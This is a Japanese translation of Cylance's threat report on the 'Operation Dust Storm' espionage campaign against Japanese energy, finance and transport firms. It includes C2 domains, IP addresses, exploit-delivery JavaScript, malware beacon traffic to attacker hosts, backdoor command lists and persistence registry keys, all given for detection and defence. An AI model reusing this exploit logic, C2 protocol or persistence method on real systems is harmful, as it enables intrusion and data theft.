

ジョン・グロスおよびCylance
SPEAR™チーム

CYLANCE



目次

01 **エグゼクティブサマリー**
01 初期段階：スピアフィッシング
03 アイデンティティの危機：ゼロデイ攻撃
04 今後の展望：日本国内のターゲット
05 いまここにある危機：被害を受けた企業
06 結論

07 **感染事例の分析：**
07 Misdat Backdoor (2010-2011)
10 MiS-Type Hybrid Backdoor (2012)
13 S-Type Backdoor (2013-2014)
16 Zlib Backdoor (2014-2015)

21 **備考**

「沈黙ほど権威を強めるものはない」

- レオナルド・ダ・ヴィンチ

エグゼクティブサマリー

Cylance SPEARは、日本、韓国、米国、欧州およびその他の東南アジア各国において、数多くの主要産業を標的として、長期的に攻撃を続けている脅威を発見しました。

力は様々な形で現れる

当社の調査によると、砂嵐大作戦は遅くとも2010年初頭から攻撃を開始しており、この期間中にスピアフィッシング、水飲み場型攻撃、ゼロデイ攻撃などを含むいくつかの異なる攻撃技術を使用しています。アンチウイルス企業数社は当初、Misdatという名称を持つ初期のバックドアウイルスの存在を発見しましたが、同グループはその後数年間の間に静かに拡大し、発見されないまま高い攻撃能力を持つまでに拡大しました。

2015年の攻撃テレメトリーによると、砂嵐大作戦グループは、従来までターゲットにすることが多かった政府および防衛関連諜報施設から、日本における最重要なインフラおよび各種リソースに関わる組織のみに限定して攻撃を行うように変化しています。

同グループの攻撃により、**電力、石油・天然ガス、金融、輸送、建設などの業界に様々な被害を巻き起こしています**。現在SPEARが実施している調査によれば、同グループの現在の攻撃対象は日本企業およびより大規模な多国籍企業の日本支社のみを特に対象としていることが明らかになっています。

初期段階：スピアフィッシング

同グループが活動していることを示す最初の兆候は、Misdatサンプルの実行リソースセクションのコンパイル時間により明らかになりました。初期のバックドアサンプルはすべて、Delphiのあるバージョンによってコンパイルしており、このバージョンはファイルのコンパイルタイムスタンプを1992年6月19日22時22分17秒（協定世界時）に変更してしまうことで悪名高いものでした。この実行リソースセクションのタイムスタンプから、SPEARはより正確に、これらのサンプルが実際にコンパイルされた日時を特定することに成功し、サンプルの一つである「bc3b36474c24edca4f063161b25bfe0c90b378b9c19c」は2010年1月1にコンパイルされたことを突き止めました。



[1] より旧型のコマンドおよびコントロールインフラストラクチャーの分析を通じて、2009年9月の時点で有害なIPアドレスを保有するドメインがいくつか存在していたことが判明しました。しかし、SPEARはこれらの日付について、判明しているマルウェアのサンプルによって裏付けることができませんでした。

2010年を通じて、このウイルスの脅威は、同グループの主要バックドアが攻撃目標とするアジアのターゲットに対してある程度まで目立つようになっていたものの、公にはほとんど知られていませんでした。このことは、同グループが初期において、コマンドおよびコントロール（C2）のインフラストラクチャーとしてダイナミックDNSドメインや、さらに第二段階の感染についてはPoison IvyやGh0st RATといった公開RAT（遠隔操作ウイルス）に依存していたことにより説明されるでしょう。同グループの実行者たちは、彼らのインフラストラクチャーとして2011年に入っても、No-IP（http://www.noip.com）、Oray（http://www.oray.com）および3322（http://www.pubyun.com/）といった無料のダイナミックDNSプロバイダに大きく依存しており、SPEARが特定したもっとも初期のバックドアは、「323332.322.org」および「1stone.zapto.org」にアクセスしていました。

砂嵐大作戦の悪名が世間をにぎわせはじめたのは2011年6月のことで、パッチが公開されていないInternet Explorer 8の脆弱性であるCVE-2011-1255を標的とする一連の攻撃により、被害を受けたネットワークに確固とした地歩を固めました。一連の攻撃において、ウイルス感染を起こすリンクは、中国人学生がアドバイスを求めていることを装ったスピアフィッシングの電子メールや、あるプレゼンテーションを実施した後にターゲットに対して質問のメールを送るという形で拡散しました。これらの攻撃についての報道としては、「http://www.symantec.com/connect/blogs/inside-back-door-attack」、[2] および「http://asec.ahnlab.com/730」があり、そこではこれらの初期段階におけるバックドアの各亜種が「Misdat」と名付けられました。

その他のニュース報道では、シマンテックの報告におけるセカンダリC2サーバが「honeywells.tk」と言及され、2011年6月初旬にはこのドメインが「111.1.1.66」というIPアドレスに変換されていました。このIPアドレスは、偶然にも同じ時期に、SPEARが検知した最初期のMisdatサンプルが指し示すアドレスと同一でした。

ネッド・モランが2011年8月にUsenix（https://www.usenix.org/system/flies/login/articles105484-Moran.pdf）を通じて発表したペーパーでは、同グループによる2011年4月の攻撃が詳細に分析されています。この攻撃は、Flashを使用したゼロデイエクスプロイト（CVE-2011-0611)が埋め込まれたWord書類が添付された電子メールを使ったスピアフィッシングによって開始されました。上記報告に記載された最終的なペイロードは、その他の特定されたMisdatのサンプルと合致しており、「msejake.7766.org」を示し、当初は「125.46.42.221」に変換され、その後の攻撃時には「218.106.246.220」に変換されました。

その他の記録されたケースと同様に、攻撃者はウイルスが感染したコンピュータに対して感染してから数分以内に、マニュアルのネットワークを開始し、ホスト列挙の操作を開始していました。

2011年10月に同グループは当時進行中のリビア危機に乗じて、2011年10月20日に起きたカダフィ大佐の死亡を報じるニュースサイクルに対してフィッシングを実行しました。この際の攻撃対象としては、米国の防衛施設数カ所に加えて、あるウイグル人メーリングリストも対象となっていたようです。同グループは、この攻撃に際し、特別に開発された有害なWindows Help（.hlp）ファイルを使用し、これによりCVE-2010-1885の脆弱性が攻撃対象となりました。この.hlpファイルは、一旦開かれると、「mshta.exe」があるJavaScriptのコードを実行し、それによりWindowsスクリプティングホストを使用して、ビジュアルベーシックの第2スクリプトが実行されるという仕組みになっていました。このVBSの第2スクリプトは、.hlpファイルの本文に含まれるペイロードをデコードし、実行する役割を担当していました。

この一連の攻撃で使用された第1段階のペイロードは、.hlpファイル内に含まれるbase64によりエンコードされたMisdatの亜種でした。SPEARが特定したサンプルはいずれも、「msevpn.3322.org」というドメインにアクセスし、その時点では「218.106.246.195」というIPアドレスに変換されました。このIPアドレスをピボットすると、同グループによって2010年5月から2015年12月までに指示および管理に用いられたいくつかの追加ダイナミックDNSドメインおよびいくつかの標準ドメインに変換されました。

登録電子メールアドレス	ドメイン名	初回登録日時
wkymyx (at) 126.com	amazonwikis.com	2010年4月21日
wkymyx (at) 126.com	sfcorporation.com	2010年5月5日
wkymyx (at) 126.com	adobeus.com	2011年6月8日
duomanmvp (at) 126.com	adobekr.com	2010年5月30日
duomanmvp (at) 126.com	moviestops.com	2011年6月7日
duomanmvp (at) 126.com	moviestops.com	2012年12月17日

図表1：2010〜2011年のドメイン

[2] The Symantec article incorr2シマンテックの報告ではGh0st RATプロトコルがSSLを使用すると間違って記述されていますが、実際はZlib圧縮を使用しています。

2010年～2011年という初期の時点で同グループによって使用されていたインフラストラクチャとしては、「wkymyx@126.com」と「duomanmpv@126.com」という二つの電子メールアドレスがドメイン登録に非常に多く使用されていたことが判明しています。

攻撃者たちは通常、一見したところランダムに選ばれた4文字のサブドメインか、「image」、「blog」、「ssl」、「pic」、「mail」、「news」などといった普段使われる言葉を使用していました。さらに、同グループが2011年7月から8月にかけて、いくつかの異なるフィッシングドメインを用いて、Yahoo、Windows Liveおよびその他のアカウントに対するユーザー認証情報を得ようと試みたことを示唆する証拠が残っています。

SPEARは、アクセスされたオリジナルのウェブページを再現することはできませんでしたが、これらのページがホストされていたドメインは以下の通りです：「login.live.adobekr.com」、「login.live.wih365.com」および「yahoomail.adobeus.com」 各ドメインが変換する個別IPアドレスは全般に有効期間が短く、どれも1カ月未満で消滅しました。

アイデンティティの危機：ゼロデイ攻撃

SPEARは、2012年6月12日に新たな砂嵐大作戦の攻撃を探知しました。これは同グループが以前使用したフラッシュを用いた脆弱性CVE-2011-0611に対する攻撃と、Internet Explorerに対するゼロデイ攻撃（CVE-2012-1889）でした。攻撃者がエクスプロイトを送り込むために使用したドメインは「mail.glkjcorp.com」で、同ドメインは攻撃時において「114.108.150.38」というIPアドレスにホストされていました。しかし、SPEARはこの特定のエクスプロイトサイトと、水飲み場型攻撃またはフィッシングキャンペーンとを確定的に結びつけることができませんでした。一方で、多くのその他のCN-APTオペレーターが同じ時期に両方の手段を用いてInternet Explorerに対するゼロデイ攻撃を仕掛けました。エクスプロイト用ドメインである「glkcorp.com」は、攻撃日の少し前である2012年5月24日に登録されていました。同ドメインの登録には、以下の2つの異なる電子メールアドレスが使用されました：「effort09@hotmail.com」と「zaizhong16@126.com」です。

この攻撃は、攻撃実行の事前に被害者システムに対しソフトウェアがインストール済みであることを識別し、既知の効果的なエクスプロイトが実行されたことを確証するために「DeployJava.js」ファイルが使用されたはじめての事例でした。このJavaScriptファイルは、Gong Da Exploit Kit：http://www.ahnlab.com/kr/site/ securityinfo/secunews/secuNewsView.do?menu_ dist=2&seq=19418において、この攻撃の一ヶ月前にAhnlabによってはじめて使用、記録されたものでした。「DeployJava.js」はエクスプロイト・ページに埋め込まれたもう一つのスクリプトと共に作動し、IEのバージョンが8か9である場合にはFlashのエクスプロイトが仕掛けられ、バージョンが6か7である場合にはIEに対するゼロデイ攻撃が実行されました。

```
if (((i9> -1) ||(i8> -1))&&w7>-1&&ja){
flash.Movie = vars;
}
else if((i8>-1)&&(xp>-1)){
flash.Movie = vars;
}
else if((i6>-1||i7>-1)&&(xp>-1)){
document.body.innerHTML+="<object classid=\"clsid:D27CDB6E-AE6D-11cf-9
6B8-444553540000\" width=\"100%\" height=\"100%\" id=\"ki\"><param name=\"mov-
ie\" value=\""+vars+"\" /><param name=\"quality\" value=\"high\" /><param
name=\"bgcolor\" value=\"#ffffff\" /><param name=\"allowScriptAccess\" val-
ue=\"sameDomain\" /><param name=\"allowFullScreen\" value=\"true\" /><\/ob-
ject>";
setTimeout("document.body.innerHTML+=\"<iframe src=faq.htm width=200
height=200><\/iframe>\"",2000);
}
```

図表2：エクスプロイトを送り込む選択肢としてのJavaScriptスニペット

「DeployJava.js」スクリプトは、同年8月のNitroを含め、2012年、2013年を通じてその他のAPTグループに広く使用されました。

```
hxxp://114.142.147.53/deployJava.js
hxxp://59.120.59.2/eng/img/deployJava.js
hxxp://67.192.225.83/us/deployJava.js
hxxp://98.129.119.156/CFIDE/debug/includes/deployJava.js
hxxp://gifas.cechire.com/fr/deployJava.js
hxxp://goddess.nexon.com.au/inc/deployJava.js
hxxp://java.ree.pl/meeting/deployJava.js
hxxp://jcsh-web.com.cn/ADMIN/inc/conn/deployJava.js
hxxp://naedco.com/img/common/t/deployJava.js
hxxp://songwol.co.kr/employee/deployJava.js
hxxp://spacexmt.spacedevcoop.com/checkplayer/deployJava.js
hxxp://tavis.tw/tmp/deployJava.js
hxxp://www.jcsh-web.com.cn/admin/inc/conn/deployjava.js
hxxp://www.jcsh-web.com.cn/ADMIN/inc/conn/deployJava.js
hxxp://www.toisengyo.jp/24/11/deployjava.js
```

図表3：DeployJava.jsを使用して攻撃されたその後のターゲット

この攻撃でもう一つ注目される点は、最終ペイロード（hxxp://mail.glkjcorp.com/pic/win.exe）が、byte 0x95に対してシングルバイトXORによってエンコードされた形で提供されていた点で、暗号鍵自体をスキップすると同時に、暗号鍵の露呈を防止するという目的に注意が集中されていたという点です。このような難読化技法は当時、ペイロードが大部分のIDS/IPSシステムによって防御されずに、確実に対象に届くことを可能にしたと思われます。エンコードされていないペイロードは、以前から使用されていたバックドア「Misdat」と、新型「S-Type」バックドアのハイブリッドタイプのものでした。このバックドアは、まず旧型のMisdatネットワークプロトコルを使用して侵入を試み、「smtp.adobekr.com」にアクセスします。これが失敗した場合、次により新しいHTTPベースのS-Typeプロトコルを使用して、「mail.glkcorp.com」にアクセスします。

同グループは、2013年に第1段階の侵入において旧型の各種Misdatバックドアの使用を完全に取りやめ、大部分を新しいS-Typeバックドアに移行させました。これら2種類のバックドアに対する詳細な分析は「侵入分析」セクションに記載されています。

今後の展望：日本国内のターゲット

SPEARでは、2013年3月から8月までの間に相当大規模な活動休止を感知しました。偶然にも（あるいは偶然ではないかもしれませんが）、Mandiantは2013年2月19日にAPT 1レポートを公表しました(https://www.fireeye.com/blog/threat-research/2013/02/mandiant-exposes-apt1-chinas-cyber-espionageunits.html)。同グループのアクティビティが完全に終結したわけではありませんが、この期間におけるSPEARが収集したマルウェアの件数は格段に減少しました。

この期間において、いくつかの新ドメインが登録されており、これらは同グループの今後数年間における攻撃活動の核心となることが予想されます。

砂嵐大作戦が、日本を標的として、一太郎の脆弱性「CVE-2013-5990」に対するゼロデイ攻撃を行ったことを示唆する事例証拠がいくつか存在しています。このゼロデイ攻撃が最初に報道されたのは、2013年11月12日でした。一太郎は、ジャストシステムが開発した有名な日本語ワープロソフトです。SPEARはMisdatペイロードが投下された具

登録電子メールアドレス	ドメイン名	初回登録日時
newsq13 (at) hotmail.com	tomshardpc.com	2013年3月27日
newsq13 (at) hotmail.com	wordoscorp.com	2013年3月27日
houqiangliuliu (at) 163.com	projectscorp.net	2013年10月9日
wantsamsung (at) 21cn.com	elecarrow.com	2013年10月9日

図表4：2013年に新しく登録されたC2ドメイン

体的なサンプルを発見できませんでしたが、当社チームは数多くのその他の関連サンプルを分析しました。そこで使用されたバックドアは、エクスプロイト文書内でエンコードされており、ゼロバイトと暗号鍵自体をスキップするというXOR暗号化というおなじみの方法を用いたものでしたが、今回エンコードに用いられた鍵は0x85でした。

2013年を通して、SPEARが探知したその他の侵入事例はすべてS-Typeバックドアのみを使用したものでした。2013年はさらに、二重の常駐ロケーションへの依存が見られたという意味で歴史的な年となり、これは侵入先のユーザー権限が低く設定されているために、レジストリや特定のファイル保存場所への書き込みといった特定のアクションが実行できない場合を考慮してのものと考えられます。この期間には、「スタートアップ」フォルダを使用するなどの以前用いられていたテクニックが再度用いられるようになりました。

2014年2月を皮切りに、同グループが有名なソフトウエア販売サイトに対して水飲み場型攻撃を仕掛けたことを示唆する確信的な証拠が見つかり、予期せぬ多くの標的に対してIEの脆弱性「CVE-2014-0322」を狙ったゼロデイ攻撃を実行したとみられます。エクスプロイト自体は「hxxp://krtzkj.bz.tao123.biz/error/pic.html」にホストされており、攻撃の時点ではそこから「126.85.184.190」に変換されました。同期間において、「js.amazonwikis.com」というドメインも上記IPアドレスに変換されており、同ドメインはウェブベースのエクスプロイトを使用した以前の攻撃においても使用されていました。仲介ペイロードである「Erido.jpg」は、その他のCVE-2014-0322に対する攻撃の場合にも共通して使用されるXORによりエンコードされた実行ファイルで、これは究極的にはS-Typeバックドアの亜種を被害者に仕掛けるものでした。

砂嵐大作戦はまた、2014年から、侵入先システムに常駐するための代替的方法の確立および発見にも着手しました。SPEARでは、マルウェアが適切に機能するためにServiceDLLとしてインストールが必要ないくつかの第2段階サンプルを特定していますが、これらは通常のルーティングおよび遠隔アクセスサービスを可能にするルーターマネージャーとして機能するものでもあります。このレジストリキーに対する単純な検索を実行した結果、「HKLM\System\CurrentControlSet\ Services\RemoteAccess\RouterManagers\IP\DllPath」から数多くのマルウェアが発見されました。しかし、SPEARではこれを利用した同グループのサンプルは1件しか特定できませんでした。2014年にはまた、いくつかの新ドメインが登録されており、攻撃活動の拡大をサポートするものとみられます。

登録電子メールアドレス	ドメイン名	初回登録日時
ysymsq (at) 126.com	hkabinc.com	2014年3月26日
myexmail (at) aol.com	exemail.com	2014年3月26日
myexmail (at) aol.com	sslmails.com	2015年3月6日

図表5：2014年、2015年に登録されたC2ドメイン

いまここにある危機：被害を受けた企業

2015年における同グループの活動は非常に興味深いもので、SPEARでは砂嵐大作戦のその他の活動について研究を開始することを迫られました。SPEARでは、プロキシアドレスおよび各種認証がハードコーディングされた第2段階のバックドアを多数特定しています。これらのプロキシアドレスにより、攻撃者が日本における電力、**石油・天然ガス、建設、金融および輸送業界の企業多数に侵入ずみであることが判明しました。**

2015年の2月初めに起きたケースでは、最初の調査の直後に、SPEARはS-Typeバックドアの変種により埋め込まれた第二ステージのインプラントを入手することができました。当社の関心を引いたのは、被害者が日本の大手自動車メーカーの投資部門子会社であったという事実です。この攻撃は日本の自動車産業労働者を代表する11の労働組合が月額6000円の賃上げを要求するちょうど2週間前に起きたものです(http://www.bloomberg.com/news/articles/2015-02-18/japan-auto-workers-seekpay-raise-to-share-in-record-car-profits)。

この第二ステージのインプラントも、マイクロソフトのVisual Studio 6を用いてプログラム、コンパイルされました。これはVisual Studioの古いバージョンで、マルウェアの作者に好まれているようです。Visual Studioの古いバージョンを使ったにもかかわらず、バックドアは比較的うまく設計されており、攻撃者はフルスイートの機能を利用できました。

ウィルス対策のベンダーで、SPEARが発見した変種のほとんどに対して、信頼のおける検知をできるところはないようです。

恐らくさらに興味深く思われる点は、2015年の初めに、目的を満たすために攻撃者グループがいくつかのアンドロイドのバックドアを採用し、ついにはカスタマイズしたという事実です。同グループは2015年5月にモバイル機器に対する攻撃を急速に拡大しました。最初のバックドアは比較的シンプルで、SMSのメッセージをすべて継続的に転送し、C2サーバに向けて通話情報を戻していました。最近の変種ははるかに複雑になっており、感染したデバイスから特定のファイルを直接列挙して、抜き出す能力も持っています。

アンドロイドのトロイの木馬の被害者はすべて日本と韓国に住んでいることが分かっています。アンドロイドへの攻勢を支えるインフラは、以前の攻撃と比較して大規模です。今日までに200を超えるドメインが発見されています。SPEARではこの脅威に関するより詳しい情報を、間もなく発表する予定です。

SPEARでは、2015年7月と10月に始まった他の二つの攻撃の波を発見しました。興味深いことに、主要ターゲットの一つは韓国の電力会社の日本子会社でした。同様に、SPEARでは日本の主要石油ガス企業への侵入も検知しました。この攻撃の動機具体的な動機が何であるのかは不明です。しかし、もしこの攻撃が以前の攻撃と一致しているとすると、最も可能性の高い目的は偵察と長期的なスパイ行為であったと思われます。

スペキュレーション

Cylanceでは、攻撃対象のプロファイルや作戦活動の規模など、さまざまな状況証拠を鑑みて、Operation Dust Storm（砂塵嵐作戦）が国家規模の組織から資金提供を受け、その命令に従う高度なハッキンググループによる活動である可能性が高いと見ています。個々のゼロデイ攻撃の手法から推測すると、この攻撃は中国から仕掛けられている可能性があると考えられます。しかしながら、現時点では、特定の国家や諜報機関を直接の攻撃元ととして突き止めるのに十分な証拠はありません。

結論

SPEARでは今回の攻撃が破壊的なものであったとは考えていません。しかし、当社のチームでは、日本の重要なインフラと資源に関わる企業に対する、こうした性格の攻撃は続き、将来はさらにエスカレートしていく可能性が高いと考えています。

SPEARのリサーチから明らかなのは、砂嵐大作戦が徐々に時間をかけて進化を遂げ、ますます力を発揮するようになることです。初期の攻撃は非常に切れ味が悪く、あまり高度なものでもなく、セキュリティ業界が簡単に排除してしまうようなものでした。同グループが日本を対象とする攻撃をより強化している一方で、レポートや報告における攻撃者の戦術やマルウェアについての記述は減っていました。影響を受ける産業において、識別できた目標の規模と範囲はさらに拡大してきました。

その結果、SPEARは最近の発見について、この社会に広く共有する義務があり、できれば攻撃者の前進を一時的にであれ阻止したいと思っております。SPEARでは報告公開の影響を注意深く観察してきました。当社では、たとえ開示することで攻撃者に変更を強いることになったとしても、攻撃を受ける側は、開示により周囲からの「真の」脅威を検知し排除しやすくなると判断しました。

SPEARとしては、調査中に貴重なお時間を割いてご協力およびご支援していただいたJPCERTコーディネーションセンター(JP-CERT)に感謝いたします。

注：*2015年12月後半に、多数の古いMisdatドメインが民間団体によってシンクホールを経験しました。このドメインは現在、IPアドレス「58.158.177.102」を指しています。詳細情報を持っている、またはこのシンクホールを操作している人物をご存知の場合は、当社までご連絡ください（threat-intel [at] cylance [dot] com. malware authors）。*

インプラント分析

MISDATバックドア（2010 2011年）

Misdatの最も早期のサンプルはパックされていませんでしたが、セキュリティベンダーによって認識が高まった後、2010年および2011年後期のサンプルは通常、実行型パッカー、UPXバージョン3.03 (http://upx.sourceforge.net/) でパックされていました。SPEARが特定したMisdatサンプルは全て、Borland Delphiを使ってプログラムされ、これによりファイルのデフォルトPEコンパイルタイムスタンプが破壊されました。結果としてSPEARは、実際にバックドアがコンパイルされた日時についてより正確な情報を得るため、サンプルを用いたリソースのコンパイル時間を参照せざるを得ませんでした

ァイルの特性

SHA256	ファイルサイズ	リソースコンパイル時間
63bd3f80387e3f2c7130bc3b36474c24 edca4f063161b25bfe0c90b378b9c19c	67,584 Bytes	01-12-2010 19:09:38 UTC
74ff3b246fde30bb3c14483279d4b003 12038957e3956bf8682362044ddccf42	44,544 Bytes	07-07-2010 19:16:28 UTC
38238f14d63d14075824cc9afd9a3b84 df9b9c2f1408ac440458196a9e690db6	22,016 Bytes	07-07-2010 19:16:28 UTC
2978c6cfff1754c85a4a22b6a72dc9e60b- 596b54e65ed5ab2c80b8bc259ca5dc	22,016 Bytes	08-16-2011 00:27:02 UTC
580c7ed2b624a0dfa749909d3e110704 65bd310663d30fb6fe3532ad45d57b8a	43,008 Bytes	08-16-2011 00:27:02 UTC
861edc857e53ff072947c2befc3c372c9 a954a7de5c48c53b99c64ff99b69dbd	43,008 Bytes	08-16-2011 00:27:02 UTC
4241a9371023e7452475117ff1fcd672 62dab56bf1943b5e0c73ff2b2e41f876	23,040 Bytes	10-21-2011 20:05:48 UTC

既知MIsdatサンプルのファイル特性およびリソースコンパイル時間

ホストベースのインジケータ

揮発性の証拠：

- ボリュームシリアル番号、復号されたネットワーク構成データ、および符号化キャンペーン識別子で構成されるユニークな文字列のMD5ハッシュに基づく32ビットのMutexを作成する

ファイルシステムの変更：

- バックドアは%CommonFiles%\{Unique Identifier}\msdtc.exeに自身をコピーする
- これは C:\2.hiv、c:\t2svzmp.kbp、またはc:\tmp.kbmファイル（サンプルによって異なる）を開いてから削除を試みる場合がある – 2011年からの後期バージョンは全てc:\t2svzmp.kbpを使用した

レジストリの変更

- マルウェアは持続性のために以下のレジストリキーを作成する場合がある： HKCU\Software\dnimtsoleht\StubPath、 HKCU\Software\snimtsOleht\StubPath、または HKCU\Software\Backtsaleht\StubPath
- SPEARのテストにおいて、StubPathは常に、%CommonFiles%ディレクトリ内に新しく作成されたmsdtc.exeバイナリを指し、「/ok」または「/start」スイッチ（サンプルによって異なる）を付けた
- レジストリキー、HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{3bf41072-b2b1-21c8-b5c1-bd56d32fbda7} または HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{3ef41072-a2f1-21c8-c5c1-70c2c3bc7905} を作成する場合がある

ネットワークベースのインジケータ

観察されたネットワークトラフィックは常に、共通ポート（80、443、または1433など）へのRAWソケット上のbase64符号化プレーンテキストでした。サンプルの初期ビーコンパケットは以下の通りです。

```
logon|{Hostname}|Windows XP|100112|bd56d32fbda703a98c87689c92325d90|
```

図6：復号された`base64`初期ビーコンパケット

文字列「logon」が常に他の情報に先行しました。上の例では、被害者のシステムのホスト名、オペレーティングシステムバージョン、ユニークなサンプル識別子（SPEARはこれを日付：2010年12月1日であると考える）、およびミューテックスに使用されたユニークなMD5がサーバに送信されました。C2に登録すると、バックドアは文字列「YWN0aXZlfA==」を送信し、これは「active|」に復号されます。バックドアはそれから、その文字列を送信し続け、C2サーバから以下のコマンドの1つを受け取るまで待機します。

コマンド	機能
shell	新しい接続を開始し、コマンドを実行するためのシェル機能を攻撃者に提供します。サブコマンドには、shellstart、commandおよびstopがあります。
files	新しい接続を開始し、ファイル管理と列挙機能を攻撃者に提供します。サブコマンドには、filelist、dirlist、driver（論理ドライブを列挙する）、rename-file、delete、run、openおよびstopがあります。
upload	C2にファイルを直接アップロードする機能を提供します。
down	C2からファイルをダウンロードする機能を提供します。
restart	Windows API ExitWindowsExへのコールを通して被害者のシステムを再起動します。
closeos	ExitWindowsEx APIを介してシステムをシャットダウンします。
dclose	C2へのソケット接続を閉じます。
uclose	dcloseコマンドと同じ機能を持つと思われます。
unintall	Active Setupレジストリキーを削除し、プロセス終了前にバックドアを削除します。

図7：`Misdat`バックドアがサポートするネットワークコマンド

詳細

バックドアは比較的シンプルで、ファイルをアップロード/ダウンロードし、ファイルを操作および列挙し、shellコマンドを実行し、C2から接続を解除し、バックドアをアンインストールし、システムをシャットダウン/再起動する能力を攻撃者に提供します。バックドアは、コマンドラインパラメータ、「/ok」または「/start」を使えた可能性もあり、スイッチはプロセスの実行下でユーザーコンテキストを変更しました。実行時にスイッチが提供されない場合、バックドアは「%CommonFiles%\{Unique Identifier}\msdtc.exe」に自身をコピーし、その場合のユニーク識別子は、ミューテックスとして使用されたMD5ハッシュの最初の10文字です。これはその後、Active　Setup、および関連付けられた上記のレジストリキーの1つをの設定を変更し、システム上に常駐します。

SPEARは　ネットワークコールバック情報、およびユニークなキャンペーン識別子と思われるものを難読化するために使用される符号化メカニズムを特定および無効化しました。以下のスクリプトを使って、これらの不明化された文字列を復号することができます。

```
def decode_chars(a, b):
    return chr((26 * (ord(a) - ord('A'))) + (ord(b) - ord('A')))

def decode(s):
      rolling_key = 0x783
      result = ""
      for index in xrange(len(s)/2):
            result += decode_chars(s[index * 2], s[(index * 2) + 1])
      real_result = ""
      for index in xrange(len(result)):
            i = index + 1
            real_result += chr(((rolling_key >> 8) & 0xff) ^ ord(result[i - 1]))
            rolling_key = 0xdbd9 * (ord(decode_chars(s[index * 2], s[(index *
2) + 1])) + rolling_key) + 0xda3b
      return real_result
```

図8：難読化されたMisdat文字列を復号するPythonスクリプト

ファイル特性

SHA256	キャンペーンID	ネットワークコールバック
63bd3f80387e3f2c7130bc3b36474c24 edca4f063161b25bfe0c90b378b9c19c	WNA	ドメイン： 323332.3322.org ポート： 80, 443, 1433
74ff3b246fde30bb3c14483279d4b003 12038957e3956bf8682362044ddccf42	XSI	ドメイン： 323332.3322.org ポート： 80,443, 1433
38238f14d63d14075824cc9afd9a3b84 df9b9c2f1408ac440458196a9e690db6	UAL	ドメイン： msejake.7766.org ポート：80, 443, 1433
2978c6cfff1754c85a4a22b6a72dc9e6 0b596b54e65ed5ab2c80b8bc259ca5dc	QPO	ドメイン： msevpn.3322.org ポート： 80, 443, 8080
580c7ed2b624a0dfa749909d3e1107046 5bd310663d30fb6fe3532ad45d57b8a	QPO	ドメイン： msevpn.3322.org ポート： 80, 443, 8080
861edc857e53ff072947c2befc3c372c9a 954a7de5c48c53b99c64ff99b69dbd	QPO	ドメイン： msevpn.3322.org ポート： 80, 443, 8080
4241a9371023e7452475117ff1fcd672 62dab56bf1943b5e0c73ff2b2e41f876	YAM	ドメイン： msevpn.3322.org ポート： 80, 443, 8080

図9：復号されたキャンペーン識別子とネットワークコールバック情報

また興味深いことは、全てのサンプルが、Windows API「GetKeyboardType」への呼び出しによって、被害者が日本語キーボードを使用しているかどうかの検出を試みたという事実、およびその事実を攻撃者に報告したことです。

MIS-TYPEハイブリッドバックドア（2012年）

2012年、砂嵐大作戦がハイブリッド化したバックドアにゆっくりと移行しました。ここでは実際、全く別々の2つのバックドアが同じバイナリに含まれていました。このバックドアはまず、RAW TCPソケット上でMisdat base64符号化ネットワークプロトコルを使ってインタラクティブシェルの確立を試みました。最初のC2への初回の通信が失敗した場合、バックドアは2番目のHTTPベースのプロトコルにフォールバックし、代替のC2に通信を行いました。識別されたハイブリッドバリアントSPEARは、UPXバージョン3.03で圧縮されました。

ファイルの特性

SHA256	ファイルサイズ	リソースコンパイル時間
b1aed59dc59a4ef4c7d2b6e67983e4867e04ba35c42372eb3b6ad969bd6a6041	30,720 Bytes	02-23-2012 14:47:18 UTC
93c1c7a666833f5f68d2315dc014dc6c2446c91c848130e228e84376b0aaf441	30,720 Bytes	06-18-2012 22:39:02 UTC

図10：ハイブリッドバックドアのファイル詳細

ホストベースのインジケータ

揮発性の証拠

- ボリュームシリアル番号、復号されたネットワーク構成データ、符号化ネットワーク構成データ、および符号化キャンペーン識別子で構成されるユニークな文字列のMD5ハッシュに基づく32ビットMutexを作成する
- システム上に「Lost_{Unique Identifier}」という名前の（パスワードは「fuck~!@6”{Unique Identifier}」）一時ユーザを作成する場合がある
- フォルダ %System%\{Unique Identifier} を一時的に作成する場合がある
- %AppData%\{Unique Identifier} 内に「tmp.exe」で終了するファイルを作成する場合がある
- 次のファイルを作成する場合がある：
  - %AppData%\{Unique Identifier}\HOSTRURKLSR
  - コマンド「cmd.exe /c ipconfig /all」の結果を含める
  - %AppData%\{Unique Identifier}\NEWERSSEMP
  - コマンド「cmd.exe /c net user {Username}」の結果を含める

ファイルシステムの変更

- バックドアは、%AppData%\{Unique Identifier}\msdtc.exeに自身をコピーし、MD5ハッシュの最初の10文字を固有識別名とします。

レジストリの変更

- マルウェアはHKCU\Software\bkfouerioyouレジストリ・キーを作成する場合もあります。
  - %AppData%\{Unique Identifier}\msdtc.exeをポイントする値スタブパスを作成します。
- 常駐化するためにこれらのレジストリ・キーの一つを作成します。
  - HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{6afa8072-b2b1-31a8-b5c1-{Unique Identifier} – 最初の12バイト
  - HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{3BF41072-B2B1-31A8-B5C1-{Unique Identifier} – 最初の12バイト

ネットワークベースのインジケータ

マルウェアは「smtp.adobekr.com」、「mail.glkjcorp.com」または「auto.glkjcorp.com」ドメインに向けてDNSリクエストを出します。両方のサンプルは、上記説明にあるマイクロソフトネットワークプロトコルを利用し、TCPポート80, 443と25上で、最初に「smtp.adobekr.com」に交信するように設定されていました。C2からの返信が得られない場合は、サンプルはセカンダリHTTPプロトコルにフォールバック作動し、同じTCPポートを利用して代替C2に交信するようになっていました。

```
POST /index.asp HTTP/1.1
Accept: Accept: */*, /index.asp, mail.glkjcorp.com
Content-Type: application/x-www-form-urlencoded
User-Agent: FirefoxApp
Host: mail.glkjcorp.com
Content-Length: 334
Cache-Control: no-cache

id=e263314342d1f1b9&type=post&stype=info&data=V2luZG93cyBYUA0KTUFMV0FSRS9j-
dWNrb28vQWRta W5pc3RyYXRvcnMNCkNyZWF0ZSBVc2VyIExvc3RfZTI2MzMxI-
FN1Y2Nlc3MuDQpDcmVhdGUgRGlyIFN1Y2Nlc3 MuDQpXcml0ZSBSZWdLZXkgRX-
Jyb3IuDQpGaWxlU3lzdGVtIDogTlRGUw0KU3lzdGVtIFJ1blRpbWU6MCBkYXkwI
GhvdXJzMTUgbWludXRlcw0KDQoNCiBDb3VudCA9IDANCk9wZW5TY01hbmFnZXIgT0suDQo=
```

図11：初期sタイプ・ビーコン

